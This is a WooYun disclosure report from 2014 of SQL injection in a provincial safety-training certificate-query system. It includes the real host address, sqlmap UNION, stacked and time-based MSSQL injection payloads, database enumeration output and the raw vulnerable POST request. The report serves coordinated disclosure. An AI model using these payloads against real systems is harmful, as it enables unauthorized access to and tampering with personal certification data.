当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-078946

漏洞标题：某省安全生产培训系统SQL注入

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2014-10-11 12:45

修复时间：2014-11-25 12:48

公开时间：2014-11-25 12:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-11： 细节已通知厂商并且等待厂商处理中
2014-10-16： 厂商已经确认，细节仅向厂商公开
2014-10-26： 细节向核心白帽子及相关领域专家公开
2014-11-05： 细节向普通白帽子公开
2014-11-15： 细节向实习白帽子公开
2014-11-25： 细节向公众公开

简要描述：

某省安全生产培训系统SQL注入

详细说明：

访问http://exam.hebsafety.gov.cn/###
存在证书查询地址
http://110.249.219.99:7700/RS22/pub/pubQuery.jsp
此地址输入内容存在注入
payload

Parameter: #1*
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: read_only=1&actionType=&StudentId=&QualificationTypeCode=&Assessmen
tNature=&showBase=&showTrain=&showExam=&showCert=&StudentName=111' UNION ALL SEL
ECT CHAR(113)+CHAR(101)+CHAR(106)+CHAR(108)+CHAR(113)+CHAR(85)+CHAR(109)+CHAR(83
)+CHAR(107)+CHAR(83)+CHAR(78)+CHAR(89)+CHAR(111)+CHAR(104)+CHAR(104)+CHAR(113)+C
HAR(97)+CHAR(100)+CHAR(121)+CHAR(113)-- &IDNumber=111&DiplomaNumber=11
    Vector:  UNION ALL SELECT [QUERY]--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: read_only=1&actionType=&StudentId=&QualificationTypeCode=&Assessmen
tNature=&showBase=&showTrain=&showExam=&showCert=&StudentName=111'; WAITFOR DELA
Y '0:0:5'--&IDNumber=111&DiplomaNumber=11
    Vector: ; IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: read_only=1&actionType=&StudentId=&QualificationTypeCode=&Assessmen
tNature=&showBase=&showTrain=&showExam=&showCert=&StudentName=111' WAITFOR DELAY
 '0:0:5'--&IDNumber=111&DiplomaNumber=11
    Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
---
there were multiple injection points, please select the one to use for following
 injections:
[0] place: (custom) POST, parameter: #2*, type: Single quoted string (default)
[1] place: (custom) POST, parameter: #1*, type: Single quoted string
[q] Quit
> 1
[10:05:15] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
[10:05:15] [INFO] fetching database names
[10:05:15] [INFO] the SQL query used returns 8 entries
[10:05:15] [DEBUG] performed 0 queries in 0.30 seconds
available databases [8]:
[*] master
[*] model
[*] msdb
[*] pxks_tb
[*] ReportServer
[*] ReportServerTempDB
[*] RS22
[*] tempdb


发送的数据包

POST /RS22/trainExam/pubPerson!doPubQuery.action HTTP/1.1
Host: 110.249.219.99:7700
Proxy-Connection: keep-alive
Content-Length: 163
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://110.249.219.99:7700
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://110.249.219.99:7700/RS22/trainExam/pubPerson!pubQuery.action
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=F8EFA60E22D72F310BF52BA4AF3C7D8B
read_only=1&actionType=&StudentId=&QualificationTypeCode=&AssessmentNature=&showBase=&showTrain=&showExam=&showCert=&StudentName=aaa*&IDNumber=aaa*&DiplomaNumber=aaa*

漏洞证明：

未授权所以未深入，wooyun危害，有数据库脱裤修改数据风险

修复方案：

华夏明科（北京）数字技术有限公司

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-10-16 09:05

厂商回复：

最新状态：

暂无